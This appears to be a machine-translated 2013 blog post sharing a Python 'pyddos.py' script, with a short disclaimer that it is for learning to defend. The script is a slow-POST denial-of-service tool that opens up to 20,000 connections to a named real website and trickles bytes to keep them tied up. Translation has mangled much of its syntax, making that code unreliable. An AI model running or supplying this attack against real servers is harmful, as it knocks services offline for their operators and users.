Today in order to rest, change the brain, so I found a previous collection of Python article, is about DDoS attack a script, just today is free, on the practice.
Attached source pyddos.py:
#!/usr/bin/env Python import socket import time import threading #Pressure Test,ddos Tool #---------------------------MAX _conn=20000 port=80 host= "www.baidu.com" page= "/index.php" #---------------------------buf= ("POST%s http/1.1\r\n" Host:%s\r\n "" content-length:10000000\r\n "" cookie:dklkt_dos_test\r\n "" \ r \ n "% (Page,host)) socks=[] def conn_thread (): Global socks for I in range (0,max_conn): S=socket.socket (Socket.af_inet,socket. Sock_stream) Try:s.connect ((Host,port)) s.send (buf) print "Send buf ok!,conn=%d\n"%i socks.append (s) exce
PT Exception,ex:print "Could not connect to server or send error:%s"%ex time.sleep (Ten) #end def def Send_thread ():
Global socks while true:for s in Socks:try:s.send ("F") #print "Send ok!" Except Exception,ex:print "Send exception:%s\n"%ex socks.remove (s) s.close () time.sleep (1) #end def conn_t H=threading. Thread (target=conn_thread,args= ()) send_th=threading. Thread (Target=send_thread, args= ()) Conn_th.start () Send_th.start ()
OK, you can simply test the power of this script, but I hope you don't use it for bad things, and later I'll look for a python version of the DDoS attack script, which is the way to learn attacks to better defend against attacks.
The original address (note: It seems that the friend is also copied from other places, but he does not seem to mark the source, so I do not know where the original text, if there is infringement, please contact me in time): Python version of the DDoS script
April 14, 2013 Eric.tang